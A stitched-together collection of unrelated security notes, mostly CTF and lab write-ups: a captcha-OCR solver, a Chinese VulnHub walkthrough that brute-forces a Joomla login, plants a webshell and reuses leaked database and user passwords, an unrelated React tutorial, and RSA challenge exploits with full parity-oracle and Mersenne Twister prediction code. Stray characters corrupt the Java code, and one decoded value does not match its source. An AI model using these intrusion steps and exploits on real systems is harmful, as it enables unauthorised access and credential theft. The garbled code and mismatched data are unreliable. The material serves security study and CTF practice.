rodata, value Thread 1 "revengme" hit Breakpoint 2, 0x0000000000488e99 in ?? () gdb-peda$ ``` We hit the breakpoint and the flag is all over the place. ```console root@kali:/media/sf_CTFs/bsidestlv/Where_no_man_has_GOne_before# ./revengme Enter your password:BSidesTLV{revenge is best served cold} You Cracked it, A Hero is born ```
sec-knowleage
## Captcha (ppc/Misc, 300p) ### PL Version `for ENG version scroll down` Zadanie polegało na rozwiązaniu 500 kodów captcha poprawnie pod rząd, przy czym można było pomijać których nie chcieliśmy rozwiązywać captche. Serwowane kody miały postać: ![](./captcha.png) W celu rozwiązania zadania napisaliśmy skrypt w pythonie korzystając z Python Images Library, pytesseract oraz Tesseracta. Niemniej wymóg 500 bezbłędnych rozwiązań pod rząd wymagał zastosowania pewnych heurystyk aby ocenić czy zdekodowane przez nas słowo jest aby na pewno poprawne. Cały skrypt dostępy jest [tutaj](captcha.py). Działanie skryptu: Na początek usuwane są różnokolorowe pionowe kreski. W tym celu pobieramy rozkład kolorów dla pikseli i odszukujemy dwa dominujące kolory - wypełnienie oraz tekst captchy (pomijamy kolor biały) a następnie skanujemy obraz i każdy piksel innego koloru niż 2 dominujące jest zamieniany na dominujący. Jeśli piksel sąsiaduje z pikselami o kolorze tekstu wybieramy ten kolor, jeśli nie używamy koloru wypełnienia. Wykonujemy to skryptem: def get_filling(pixels, i, j, best_colors, x_range): left = pixels[(i - 1) % x_range, j] right = pixels[(i + 1) % x_range, j] if left in best_colors and left != best_colors[0]: return left elif right in best_colors and right != best_colors[0]: return right else: return best_colors[0] def fix_colors(im): colors_distribution = im.getcolors() ordered = sorted(colors_distribution, key=lambda x: x[0], reverse=True) best_colors = [color[1] for color in ordered] if (255, 255, 255) in best_colors: best_colors.remove((255, 255, 255)) best_colors = best_colors[:2] pixels = im.load() for i in range(im.size[0]): for j in range(im.size[1]): color = pixels[i, j] if color not in best_colors: pixels[i, j] = get_filling(pixels, i, j, best_colors, im.size[0]) return best_colors[0] W efekcie z powyższego obrazu uzyskujemy: ![](./nostripes.png) Następnym krokiem jest zamiana kolorów obrazu w celu zwiększenia kontrastu i ułatwienia pracy OCRa. Skanujemy obraz i każdy piksel o kolorze wypełnienia zamieniamy na biały a piksel i kolorze tekstu na czarny. def black_and_white(im, filling): black = (0, 0, 0) white = (255, 255, 255) pixels = im.load() for i in range(im.size[0]): for j in range(im.size[1]): color = pixels[i, j] if color == filling: pixels[i, j] = white else: pixels[i, j] = black W efekcie uzyskujemy: ![](./fixed.png) Tak przygotowany obraz skanujemy za pomocą Tesseracta a potem wynik oceniamy za pomocą heurystyki: def on_blacklist(text): if len(text) != 4: return True blacklisted = ["I", "0", "O", "Z", "Q", "2", "S", "3", "G", "9", "1", "l", "C", "X", "V", "B", "8", "U"] for character in blacklisted: if character in text: return True matcher = re.match("[a-zA-Z0-9]+", text) if matcher is None or len(matcher.group()) != 4: return True return False Odrzucamy wszystkie rozwiązania które nie mają 4 symboli z zakresu `[a-zA-Z0-9]` bo wiemy że wszystkie captche powinny mieć 4 symbole alfanumeryczne. Dodatkowo odrzucamy wszystkie rozwiązania zawierające ryzykowne symbole: * Tesseract często myli ze sobą: `O0Q`, `2Z`, `B8S`, `Il1`, `6G`, `9g` * Tesseract często niepopranie rozpoznaje wielkość liter - jeśli podaje małą literę to jest ok, ale jeśli podaje dużą literę nie możemy mieć pewności. Odrzucamy więc wszystkie symbole których mała i duża wersja jest zbyt podobna: `XVUCSZO` W ten sposób uzyskujemy solver ze 100% skutecznością, chociaż działa on bardzo wolno, bo odrzuca 90% testowanych kodów captcha. Po rozwiązaniu wszystkich 500 przykładów dostajemy: ![](./solved.png) ### ENG Version The challenge was to correctly solve 500 consecutive captcha codes, with the ability to skip codes we didn't want to solve. Codes looked like this: ![](./captcha.png) In order to solve this we prepared a python script using Python Images Library, pytesseract and Tesseracta. However the 500 consecutive correct answers required some special processing and heuristics to score the solution and decide if it's correct or not. Whole script is available [here](captcha.py). The script works as follows: First we remove the colorful vertical lines. For this we get the color distribution of image pixels and we get the two dominant colors - filling and text (skipping white) and then we scan the picture and if a pixel has different color than the 2 dominants, we change it to dominant. If it is next to text-color pixel we choose text-color, otherwise we use filling color. We do this with: def get_filling(pixels, i, j, best_colors, x_range): left = pixels[(i - 1) % x_range, j] right = pixels[(i + 1) % x_range, j] if left in best_colors and left != best_colors[0]: return left elif right in best_colors and right != best_colors[0]: return right else: return best_colors[0] def fix_colors(im): colors_distribution = im.getcolors() ordered = sorted(colors_distribution, key=lambda x: x[0], reverse=True) best_colors = [color[1] for color in ordered] if (255, 255, 255) in best_colors: best_colors.remove((255, 255, 255)) best_colors = best_colors[:2] pixels = im.load() for i in range(im.size[0]): for j in range(im.size[1]): color = pixels[i, j] if color not in best_colors: pixels[i, j] = get_filling(pixels, i, j, best_colors, im.size[0]) return best_colors[0] With this code, from the catpcha above we get: ![](./nostripes.png) Next step is changing the colors to raise contrast and make life easier for OCR engine. We scan the picture and the color of all filling-color pixels change to white and text-color to black. def black_and_white(im, filling): black = (0, 0, 0) white = (255, 255, 255) pixels = im.load() for i in range(im.size[0]): for j in range(im.size[1]): color = pixels[i, j] if color == filling: pixels[i, j] = white else: pixels[i, j] = black As a result we get: ![](./fixed.png) Picture prepared like that we pass to Tesseract and then score the result with heuristic: def on_blacklist(text): if len(text) != 4: return True blacklisted = ["I", "0", "O", "Z", "Q", "2", "S", "3", "G", "9", "1", "l", "C", "X", "V", "B", "8", "U"] for character in blacklisted: if character in text: return True matcher = re.match("[a-zA-Z0-9]+", text) if matcher is None or len(matcher.group()) != 4: return True return False We reject all solutions that doesn't have 4 symbols from `[a-zA-Z0-9]` range, since we know that all captchas should have 4 alphanumeric symbols. Additionally we reject all solutions with risky symbols: * Tesseract mistakes sometimes: `O0Q`, `2Z`, `B8S`, `Il1`, `6G`, `9g` * Tesseract often recognizes the letter case incorrectly - if it says there is a small letter it's fine, but if it ways it's a capital letter then we can't be sure. We reject all symbols where small and capital versions are similar: `XVUCSZO` This way we get a 100% accuracy solver, however it works rather slowly since it rejects ~90% of tested codes. After solving all 500 captchas we get: ![](./solved.png)
sec-knowleage
# Glasglow 1.1 > https://download.vulnhub.com/glasgowsmile/GlasgowSmile-v1.1.zip 靶场IP:`192.168.32.222` 扫描对外端口服务 ``` ┌──(root💀kali)-[~] └─# nmap -p 1-65535 -sV 192.168.32.222 Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-10 10:00 EDT Nmap scan report for 192.168.32.222 Host is up (0.00036s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) 80/tcp open http Apache httpd 2.4.38 ((Debian)) MAC Address: 00:0C:29:96:C2:2B (VMware) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 11.92 seconds ``` 访问80端口 ![image-20220910220047299](../../.gitbook/assets/image-20220910220047299.png) 爆破目录 ``` ``` 访问:`/joomla` ![image-20220910232218861](../../.gitbook/assets/image-20220910232218861.png) 使用" **joomscan** "并列出版本、有趣的目录、备份文件或可以帮助我们识别某些漏洞的东西了。 ``` ┌──(root💀kali)-[~] └─# joomscan -u http://192.168.32.222/joomla/ ____ _____ _____ __ __ ___ ___ __ _ _ (_ _)( _ )( _ )( \/ )/ __) / __) /__\ ( \( ) .-_)( )(_)( )(_)( ) ( \__ \( (__ /(__)\ ) ( \____) (_____)(_____)(_/\/\_)(___/ \___)(__)(__)(_)\_) (1337.today) --=[OWASP JoomScan +---++---==[Version : 0.0.7 +---++---==[Update Date : [2018/09/23] +---++---==[Authors : Mohammad Reza Espargham , Ali Razmjoo --=[Code name : Self Challenge @OWASP_JoomScan , @rezesp , @Ali_Razmjo0 , @OWASP Processing http://192.168.32.222/joomla/ ... [+] FireWall Detector [++] Firewall not detected [+] Detecting Joomla Version [++] Joomla 3.7.3rc1 [+] Core Joomla Vulnerability [++] Target Joomla core is not vulnerable [+] Checking Directory Listing [++] directory has directory listing : http://192.168.32.222/joomla/administrator/components http://192.168.32.222/joomla/administrator/modules http://192.168.32.222/joomla/administrator/templates http://192.168.32.222/joomla/images/banners [+] Checking apache info/status files [++] Readable info/status files are not found [+] admin finder [++] Admin page : http://192.168.32.222/joomla/administrator/ [+] Checking robots.txt existing [++] robots.txt is found path : http://192.168.32.222/joomla/robots.txt Interesting path found from robots.txt http://192.168.32.222/joomla/joomla/administrator/ http://192.168.32.222/joomla/administrator/ http://192.168.32.222/joomla/bin/ http://192.168.32.222/joomla/cache/ http://192.168.32.222/joomla/cli/ http://192.168.32.222/joomla/components/ http://192.168.32.222/joomla/includes/ http://192.168.32.222/joomla/installation/ http://192.168.32.222/joomla/language/ http://192.168.32.222/joomla/layouts/ http://192.168.32.222/joomla/libraries/ http://192.168.32.222/joomla/logs/ http://192.168.32.222/joomla/modules/ http://192.168.32.222/joomla/plugins/ http://192.168.32.222/joomla/tmp/ [+] Finding common backup files name [++] Backup files are not found [+] Finding common log files name [++] error log is not found [+] Checking sensitive config.php.x file [++] Readable config files are not found Your Report : reports/192.168.32.222/ ``` 抓取密码单词 ``` ┌──(root💀kali)-[/tmp] └─# cewl http://192.168.32.222/joomla/ > password ``` 使用bp暴力破解,找到密码:`Gotham` ![image-20220910233546867](../../.gitbook/assets/image-20220910233546867.png) ![image-20220910233643006](../../.gitbook/assets/image-20220910233643006.png) 我直接修改了文件" **index.php** "并将" **pentestmonkey** "的webshell的代码。 ![image-20220910233904635](../../.gitbook/assets/image-20220910233904635.png) ``` $ python -c "import pty;pty.spawn('/bin/bash')" www-data@glasgowsmile:/$ id id uid=33(www-data) gid=33(www-data) groups=33(www-data) ``` 分析 Joomla 配置文件将揭示数据库连接细节: ``` www-data@glasgowsmile:/var/www/joomla2$ cat configuration.php cat configuration.php <?php class JConfig { public $offline = '0'; public $offline_message = 'This site is down for maintenance.<br />Please check back again soon.'; public $display_offline_message = '1'; public $offline_image = ''; public $sitename = 'Joker'; public $editor = 'tinymce'; public $captcha = '0'; public $list_limit = '20'; public $access = '1'; public $debug = '0'; public $debug_lang = '0'; public $dbtype = 'mysqli'; public $host = 'localhost'; public $user = 'joomla'; public $password = 'babyjoker'; public $db = 'joomla_db'; public $dbprefix = 'jnqcu_'; public $live_site = ''; public $secret = 'fNRyp6KO51013435'; public $gzip = '0'; public $error_reporting = 'default'; public $helpurl = 'https://help.joomla.org/proxy/index.php?keyref=Help{major}{minor}:{keyref}'; public $ftp_host = ''; public $ftp_port = ''; public $ftp_user = ''; public $ftp_pass = ''; public $ftp_root = ''; public $ftp_enable = '0'; public $offset = 'UTC'; public $mailonline = '1'; public $mailer = 'mail'; public $mailfrom = 'admin@joker'; public $fromname = 'Joker'; public $sendmail = '/usr/sbin/sendmail'; public $smtpauth = '0'; public $smtpuser = ''; public $smtppass = ''; public $smtphost = 'localhost'; public $smtpsecure = 'none'; public $smtpport = '25'; public $caching = '0'; public $cache_handler = 'file'; public $cachetime = '15'; public $cache_platformprefix = '0'; public $MetaDesc = ''; public $MetaKeys = ''; public $MetaTitle = '1'; public $MetaAuthor = '1'; public $MetaVersion = '0'; public $robots = ''; public $sef = '1'; public $sef_rewrite = '0'; public $sef_suffix = '0'; public $unicodeslugs = '0'; public $feed_limit = '10'; public $feed_email = 'none'; public $log_path = '/var/www/html/joomla/administrator/logs'; public $tmp_path = '/var/www/html/joomla/tmp'; public $lifetime = '15'; public $session_handler = 'database'; public $shared_session = '0'; ``` 让我们使用凭据连接到数据库并列出我们可以访问的数据库: ``` www-data@glasgowsmile:/var/www/joomla2$ mysql -u joomla -p mysql -u joomla -p Enter password: babyjoker Welcome to the MariaDB monitor. Commands end with ; or \g. Your MariaDB connection id is 228 Server version: 10.3.22-MariaDB-0+deb10u1 Debian 10 Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others. Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. MariaDB [(none)]> show databases; show databases; +--------------------+ | Database | +--------------------+ | batjoke | | information_schema | | joomla_db | | mysql | | performance_schema | +--------------------+ 5 rows in set (0.002 sec) ``` 有趣的是,用户不仅可以访问 Joomla 数据库,还可以`batjoke`: ``` MariaDB [(none)]> use batjoke; use batjoke; Reading table information for completion of table and column names You can turn off this feature to get a quicker startup with -A Database changed MariaDB [batjoke]> show tables; show tables; +-------------------+ | Tables_in_batjoke | +-------------------+ | equipment | | taskforce | +-------------------+ 2 rows in set (0.000 sec) MariaDB [batjoke]> select * from equipment; select * from equipment; Empty set (0.000 sec) MariaDB [batjoke]> select * from taskforce; select * from taskforce; +----+---------+------------+---------+----------------------------------------------+ | id | type | date | name | pswd | +----+---------+------------+---------+----------------------------------------------+ | 1 | Soldier | 2020-06-14 | Bane | YmFuZWlzaGVyZQ== | | 2 | Soldier | 2020-06-14 | Aaron | YWFyb25pc2hlcmU= | | 3 | Soldier | 2020-06-14 | Carnage | Y2FybmFnZWlzaGVyZQ== | | 4 | Soldier | 2020-06-14 | buster | YnVzdGVyaXNoZXJlZmY= | | 6 | Soldier | 2020-06-14 | rob | Pz8/QWxsSUhhdmVBcmVOZWdhdGl2ZVRob3VnaHRzPz8/ | | 7 | Soldier | 2020-06-14 | aunt | YXVudGlzIHRoZSBmdWNrIGhlcmU= | +----+---------+------------+---------+----------------------------------------------+ 6 rows in set (0.000 sec) ``` 该`taskforce`表包含具有 base64 编码密码的潜在用户列表。解码后,将生成以下列表: | name | password (base64) | password (clear) | | :-----: | :------------------------------------------: | :-------------------------------: | | Bane | YmFuZWlzaGVyZQ== | baneishere | | Aaron | YWFyb25pc2hlcmU= | aaronishere | | Carnage | Y2FybmFnZWlzaGVyZQ== | carnageishere | | buster | YnVzdGVyaXNoZXJlZmY= | busterishereff | | rob | Pz8/QWxsSUhhdmVBcmVOZWdhdGl2ZVRob3VnaHRzPz8/ | ???AllIHaveAreNegativeThoughts??? | | aunt | YXVudGlzIHRoZSBmdWNrIGhlcmU= | auntis the fuck here | 切换到rob ``` www-data@glasgowsmile:/var/www/joomla2$ su rob su rob Password: ???AllIHaveAreNegativeThoughts??? su: Authentication failure www-data@glasgowsmile:/var/www/joomla2$ su rob su rob Password: ???AllIHaveAreNegativeThoughts??? rob@glasgowsmile:/var/www/joomla2$ id id uid=1000(rob) gid=1000(rob) groups=1000(rob),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev) ``` ``` rob@glasgowsmile:~$ cat howtoberoot cat howtoberoot _____ ______ __ _ _ _ ____ ____ _____ ____ |_ _| _ \ \ / / | | | | / \ | _ \| _ \| ____| _ \ | | | |_) \ V / | |_| | / _ \ | |_) | | | | _| | |_) | | | | _ < | | | _ |/ ___ \| _ <| |_| | |___| _ < |_| |_| \_\|_| |_| |_/_/ \_\_| \_\____/|_____|_| \_\ NO HINTS. rob@glasgowsmile:~$ cat Abnerineedyourhelp cat Abnerineedyourhelp Gdkkn Cdzq, Zqsgtq rteedqr eqnl rdudqd ldmszk hkkmdrr ats vd rdd khsskd rxlozsgx enq ghr bnmchshnm. Sghr qdkzsdr sn ghr eddkhmf zants adhmf hfmnqdc. Xnt bzm ehmc zm dmsqx hm ghr intqmzk qdzcr, "Sgd vnqrs ozqs ne gzuhmf z ldmszk hkkmdrr hr odnokd dwodbs xnt sn adgzud zr he xnt cnm's." Mnv H mddc xntq gdko Zamdq, trd sghr ozrrvnqc, xnt vhkk ehmc sgd qhfgs vzx sn rnkud sgd dmhflz. RSLyzF9vYSj5aWjvYFUgcFfvLCAsXVskbyP0aV9xYSgiYV50byZvcFggaiAsdSArzVYkLZ== ``` base64解码: ``` ┌──(root💀kali)-[/tmp] └─# echo "STMzaG9wZTk5bXkwZGVhdGgwMDBtYWtlczQ0bW9yZThjZW50czAwdGhhbjBteTBsaWZlMA==" | base64 -d I33hope99my0death000makes44more8cents00than0my0life0 ``` 切换到`abner` ``` rob@glasgowsmile:~$ su abner su abner Password: I33hope99my0death000makes44more8cents00than0my0life0 abner@glasgowsmile:/home/rob$ id id uid=1001(abner) gid=1001(abner) groups=1001(abner) ```
sec-knowleage
## 组件的组合、嵌套和组件树 ### 组建的创建 第一种组件的创建方式 **function** ``` import React from 'react' import ReactDom from 'react-dom' function Hello(){ return ( <div> <h1>我是第一种组件的创建方式</h1> </div> ) } ReactDom.render(<Hello />,document.querySelector('#root')) ``` **注意**: 1. 自定义的组件都必须要用大写字母开头,普通的 HTML 标签都用小写字母开头。 2. 必须有返回值,而且返回值必须是JSX elements 第二种组件的创建方式 **ES6类** ``` import React from 'react' class App extends React.Component{ render(){ return ( <div> App </div> ) } } export default App ``` 组件内参数的传递 ``` import React from 'react' import ReactDom from 'react-dom' function Word(props){ return ( <p>My name is {props.name}</p> ) } function Hello(){ return ( <div> <Word name='Liu' /> </div> ) } ReactDom.render(<Word />,document.querySelector('#root')) ``` ### 导入CSS ``` //插入css外部样式: import './App.css' //行内样式 <h1 style={}>我是H1</h1> //行内样式的时候,样式写成对象的模式,对象是js语言所以用大括号包裹 //1.{ backgroundColor:'teal', fontSize:'20px' } //2.写成一个方法,返回一个对象 //3.声明一个对象 //4.只要样式写为对象的方式 styles(){ return({ box:{ background:'green' }; }) } <h1 style={this.styles.box}>我是H1</h1> let styles={ h1:{ color:'#CCC', backgroundColor:'teal' }, div:{ width:'100vw', height:'200px' } } <h1 style={styles.h1}>我也是H1</h1> ``` ### 导入图片 当作变量导入 ``` //先导入: import img from './xxx.jpg' //引用本地: "<img src={img} alt='' />" //网上图片直接引用: "<img src='[地址]' alt='' />" ``` ### 组件的嵌套 子组件 ``` import React from 'react' import Header from './Header' import Main from './Main' import Footer from './Footer' class App extends React.Component{ render(){ return( <div className='App'> <Header /> <Main /> <Footer /> </div> ) } } export default App ``` 父组件 ``` import React from 'react' import ReactDom from 'react-dom' import App from './App' ReactDom.render(<App />,document.querySelector('#root')) ``` ### 组件树 ``` import React from 'react'; import ReactDOM from 'react-dom'; class Title extends React.Component { render(){ return ( <h1>React</h1> ) } } class Header extends Component { render () { return ( <div> <Title /> <h2>This is Header</h2> </div> ) } } class Main extends Component { render () { return ( <div> <h2>This is main content</h2> </div> ) } } class Footer extends Component { render () { return ( <div> <h2>This is footer</h2> </div> ) } } class Index extends Component { render () { return ( <div> <Header /> <Main /> <Footer /> </div> ) } } ReactDOM.render(<Index />,document.getElementById('root')) ``` 组件可以和组件组合在一起,组件内部可以使用别的组件。就像普通的 HTML 标签一样使用就可以。这样的组合嵌套,最后构成一个所谓的组件树。 <img src='http://huzidaha.github.io/static/assets/img/posts/19BBE4E2-A12E-4657-BA6A-61484F67FA60.png' alt='组件树' />
sec-knowleage
# Who do I Trust Misc, 100 points ## Description: > Who issued the certificate to tamuctf.com? > (Not in standard gigem{flag} format) ## Solution: We can use `curl` to determine the CN of the certificate issuer. ```console root@kali:/media/sf_CTFs/tamu# curl -vI https://tamuctf.com * Rebuilt URL to: https://tamuctf.com/ * Trying 52.33.57.247... * TCP_NODELAY set * Connected to tamuctf.com (52.33.57.247) port 443 (#0) * ALPN, offering h2 * ALPN, offering http/1.1 * successfully set certificate verify locations: * CAfile: none CApath: /etc/ssl/certs * (304) (OUT), TLS handshake, Client hello (1): * (304) (IN), TLS handshake, Server hello (2): * TLSv1.2 (IN), TLS handshake, Certificate (11): * TLSv1.2 (IN), TLS handshake, Server key exchange (12): * TLSv1.2 (IN), TLS handshake, Server finished (14): * TLSv1.2 (OUT), TLS handshake, Client key exchange (16): * TLSv1.2 (OUT), TLS change cipher, Client hello (1): * TLSv1.2 (OUT), TLS handshake, Finished (20): * TLSv1.2 (IN), TLS handshake, Finished (20): * SSL connection using TLSv1.2 / ECDHE-RSA-CHACHA20-POLY1305 * ALPN, server accepted to use http/1.1 * Server certificate: * subject: CN=tamuctf.com * start date: Feb 4 22:49:02 2019 GMT * expire date: May 5 22:49:02 2019 GMT * subjectAltName: host "tamuctf.com" matched cert's "tamuctf.com" * issuer: C=US; O=Let's Encrypt; CN=Let's Encrypt Authority X3 * SSL certificate verify ok. ```
sec-knowleage
# RSA 复杂题目 ## 2018 Tokyo Western Mixed Cipher 题目给的信息如下所示: - 每次交互可以维持的时间长度约为 5 分钟 - 每次交互中中n是确定的 1024 bit,但是未知, e 为 65537 - 使用 aes 加密了 flag,密钥和 IV 均不知道 - 每次密钥是固定的,但是 IV 每次都会随机 - 可以使用 encrypt 功能随意使用 rsa 和 aes 进行加密,其中每次加密都会对 aes 的 iv 进行随机 - 可以使用 decrypt 对随意的密文进行解密,但是只能知道最后一个字节是什么 - 可以使用 print_flag 获取 flag 密文 - 可以使用 print_key 获取 rsa 加密的 aes 密钥 本题目看似一个题目,实则是 3 个题目,需要分步骤解决。在此之前,我們準備好交互的函數 ```python def get_enc_key(io): io.read_until("4: get encrypted keyn") io.writeline("4") io.read_until("here is encrypted key :)n") c=int(io.readline()[:-1],16) return c def encrypt_io(io,p): io.read_until("4: get encrypted keyn") io.writeline("1") io.read_until("input plain text: ") io.writeline(p) io.read_until("RSA: ") rsa_c=int(io.readline()[:-1],16) io.read_until("AES: ") aes_c=io.readline()[:-1].decode("hex") return rsa_c,aes_c def decrypt_io(io,c): io.read_until("4: get encrypted keyn") io.writeline("2") io.read_until("input hexencoded cipher text: ") io.writeline(long_to_bytes(c).encode("hex")) io.read_until("RSA: ") return io.read_line()[:-1].decode("hex") ``` ### GCD attack n 第一步我们需要把没有给出的 n 算出来,因为我们可以利用 encrypt 功能对我们输入的明文 x 进行 rsa 加密,那么可以利用整除的性质算 n ```python 因为x ^ e = c mod n 所以 n | x ^ e - c ``` 我们可以构造足够多的 x,算出最够多的 x ^ e - c,从而计算最大公约数,得到 n。 ``` def get_n(io): rsa_c,aes_c=encrypt_io(io,long_to_bytes(2)) n=pow(2,65537)-rsa_c for i in range(3,6): rsa_c, aes_c = encrypt_io(io, long_to_bytes(i)) n=primefac.gcd(n,pow(i,65537)-rsa_c) return n ``` 可以利用加密进行 check ```python def check_n(io,n): rsa_c, aes_c = encrypt_io(io, "123") if pow(bytes_to_long("123"), e, n)==rsa_c: return True else: return False ``` ### RSA parity oracle 利用 leak 的的最后一个字节,我们可以进行选择密文攻击,使用 RSA parity oracle 回复 aes 的秘钥 ```python def guess_m(io,n,c): k=1 lb=0 ub=n while ub!=lb: print lb,ub tmp = c * gmpy2.powmod(2, k*e, n) % n if ord(decrypt_io(io,tmp)[-1])%2==1: lb = (lb + ub) / 2 else: ub = (lb + ub) / 2 k+=1 print ub,len(long_to_bytes(ub)) return ub ``` ### PRNG Predict 这里我们可以解密 flag 的16字节之后的内容了,但是前16个字节没有 IV 是解密不了的。这时我们可以发现,IV 生成使用的随机数使用了 getrandbits,并且我们可以获取到足够多的随机数量,那么我们可以进行 PRNG 的 predict,从而直接获取随机数 这里使用了一个现成的的 java 进行 PRNG 的 Predict ```java public class Main { static int[] state; static int currentIndex; 40huo public static void main(String[] args) { state = new int[624]; currentIndex = 0; // initialize(0); // for (int i = 0; i < 5; i++) { // System.out.println(state[i]); // } // for (int i = 0; i < 5; i++) { // System.out.println(nextNumber()); // } if (args.length != 624) { System.err.println("must be 624 args"); System.exit(1); } int[] arr = new int[624]; for (int i = 0; i < args.length; i++) { arr[i] = Integer.parseInt(args[i]); } rev(arr); for (int i = 0; i < 6240huo4; i++) { System.out.println(state[i]); } // System.out.println("currentIndex " + currentIndex); // System.out.println("state[currentIndex] " + state[currentIndex]); // System.out.println("next " + nextNumber()); // want -2065863258 } static void nextState() { // Iterate through the state for (int i = 0; i < 624; i++) { // y is the first bit of the current number, // and the last 31 bits of the next number int y = (state[i] & 0x80000000) + (state[(i + 1) % 624] & 0x7fffffff); // first bitshift y by 1 to the right int next = y >>> 1; // xor it with the 397th next number next ^= state[(i + 397) % 624]; // if y is odd, xor with magic number if ((y & 1L) == 1L) { next ^= 0x9908b0df; } // now we have the result state[i] = next; } } static int nextNumber() { currentIndex++; int tmp = state[currentIndex]; tmp ^= (tmp >>> 11); tmp ^= (tmp << 7) & 0x9d2c5680; tmp ^= (tmp << 15) & 0xefc60000; tmp ^= (tmp >>> 18); return tmp; } static void initialize(int seed) { // http://code.activestate.com/recipes/578056-mersenne-twister/ // global MT // global bitmask_1 // MT[0] = seed // for i in xrange(1,624): // MT[i] = ((1812433253 * MT[i-1]) ^ ((MT[i-1] >> 30) + i)) & bitmask_1 // copied Python 2.7's impl (probably uint problems) state[0] = seed; for (int i = 1; i < 624; i++) { state[i] = ((1812433253 * state[i - 1]) ^ ((state[i - 1] >> 30) + i)) & 0xffffffff; } } static int unBitshiftRightXor(int value, int shift) { // we part of the value we are up to (with a width of shift bits) int i = 0; // we accumulate the result here int result = 0; // iterate until we've done the full 32 bits while (i * shift < 32) { // create a mask for this part int partMask = (-1 << (32 - shift)) >>> (shift * i); // obtain the part int part = value & partMask; // unapply the xor from the next part of the integer value ^= part >>> shift; // add the part to the result result |= part; i++; } return result; } static int unBitshiftLeftXor(int value, int shift, int mask) { // we part of the value we are up to (with a width of shift bits) int i = 0; // we accumulate the result here int result = 0; // iterate until we've done the full 32 bits while (i * shift < 32) { // create a mask for this part int partMask = (-1 >>> (32 - shift)) << (shift * i); // obtain the part int part = value & partMask; // unapply the xor from the next part of the integer value ^= (part << shift) & mask; // add the part to the result result |= part; i++; } return result; } static void rev(int[] nums) { for (int i = 0; i < 624; i++) { int value = nums[i]; value = unBitshiftRightXor(value, 18); value = unBitshiftLeftXor(value, 15, 0xefc60000); value = unBitshiftLeftXor(value, 7, 0x9d2c5680); value = unBitshiftRightXor(value, 11); state[i] = value; } } } ``` 写了一个 python 直接调用 java ``` from Crypto.Util.number import long_to_bytes,bytes_to_long def encrypt_io(io,p): io.read_until("4: get encrypted keyn") io.writeline("1") io.read_until("input plain text: ") io.writeline(p) io.read_until("RSA: ") rsa_c=int(io.readline()[:-1],16) io.read_until("AES: ") aes_c=io.readline()[:-1].decode("hex") return rsa_c,aes_c import subprocess import random def get_iv(io): rsa_c, aes_c=encrypt_io(io,"1") return bytes_to_long(aes_c[0:16]) def splitInto32(w128): w1 = w128 & (2**32-1) w2 = (w128 >> 32) & (2**32-1) w3 = (w128 >> 64) & (2**32-1) w4 = (w128 >> 96) return w1,w2,w3,w4 def sign(iv): # converts a 32 bit uint to a 32 bit signed int if(iv&0x80000000): iv = -0x100000000 + iv return iv def get_state(io): numbers=[] for i in range(156): print i numbers.append(get_iv(io)) observedNums = [sign(w) for n in numbers for w in splitInto32(n)] o = subprocess.check_output(["java", "Main"] + map(str, observedNums)) stateList = [int(s) % (2 ** 32) for s in o.split()] r = random.Random() state = (3, tuple(stateList + [624]), None) r.setstate(state) return r.getrandbits(128) ``` ### EXP 整体攻击代码如下: ```python from zio import * import primefac from Crypto.Util.number import long_to_bytes,bytes_to_long target=("crypto.chal.ctf.westerns.tokyo",5643) e=65537 def get_enc_key(io): io.read_until("4: get encrypted keyn") io.writeline("4") io.read_until("here is encrypted key :)n") c=int(io.readline()[:-1],16) return c def encrypt_io(io,p): io.read_until("4: get encrypted keyn") io.writeline("1") io.read_until("input plain text: ") io.writeline(p) io.read_until("RSA: ") rsa_c=int(io.readline()[:-1],16) io.read_until("AES: ") aes_c=io.readline()[:-1].decode("hex") return rsa_c,aes_c def decrypt_io(io,c): io.read_until("4: get encrypted keyn") io.writeline("2") io.read_until("input hexencoded cipher text: ") io.writeline(long_to_bytes(c).encode("hex")) io.read_until("RSA: ") return io.read_line()[:-1].decode("hex") def get_n(io): rsa_c,aes_c=encrypt_io(io,long_to_bytes(2)) n=pow(2,65537)-rsa_c for i in range(3,6): rsa_c, aes_c = encrypt_io(io, long_to_bytes(i)) n=primefac.gcd(n,pow(i,65537)-rsa_c) return n def check_n(io,n): rsa_c, aes_c = encrypt_io(io, "123") if pow(bytes_to_long("123"), e, n)==rsa_c: return True else: return False import gmpy2 def guess_m(io,n,c): k=1 lb=0 ub=n while ub!=lb: print lb,ub tmp = c * gmpy2.powmod(2, k*e, n) % n if ord(decrypt_io(io,tmp)[-1])%2==1: lb = (lb + ub) / 2 else: ub = (lb + ub) / 2 k+=1 print ub,len(long_to_bytes(ub)) return ub io = zio(target, timeout=10000, print_read=COLORED(NONE, 'red'),print_write=COLORED(NONE, 'green')) n=get_n(io) print check_n(io,n) c=get_enc_key(io) print len(decrypt_io(io,c))==16 m=guess_m(io,n,c) for i in range(m - 50000,m+50000): if pow(i,e,n)==c: aeskey=i print long_to_bytes(aeskey)[-1]==decrypt_io(io,c)[-1] print "found aes key",hex(aeskey) import fuck_r next_iv=fuck_r.get_state(io) print "##########################################" print next_iv print aeskey io.interact() ``` ## 2016 ASIS Find the flag 这里我们以 ASIS 2016 线上赛中 Find the flag 为例进行介绍。 文件解压出来,有一个密文,一个公钥,一个 py 脚本。看一下公钥。 ```bash ➜ RSA openssl rsa -pubin -in pubkey.pem -text -modulus Public-Key: (256 bit) Modulus: 00:d8:e2:4c:12:b7:b9:9e:fe:0a:9b:c0:4a:6a:3d: f5:8a:2a:94:42:69:b4:92:b7:37:6d:f1:29:02:3f: 20:61:b9 Exponent: 12405943493775545863 (0xac2ac3e0ca0f5607) Modulus=D8E24C12B7B99EFE0A9BC04A6A3DF58A2A944269B492B7376DF129023F2061B9 ``` 这么小的一个 $N$,先分解一下。 ``` p = 311155972145869391293781528370734636009 q = 315274063651866931016337573625089033553 ``` 再看给的 py 脚本。 ```python #!/usr/bin/python import gmpy from Crypto.Util.number import * from Crypto.PublicKey import RSA from Crypto.Cipher import PKCS1_v1_5 flag = open('flag', 'r').read() * 30 def ext_rsa_encrypt(p, q, e, msg): m = bytes_to_long(msg) while True: n = p * q try: phi = 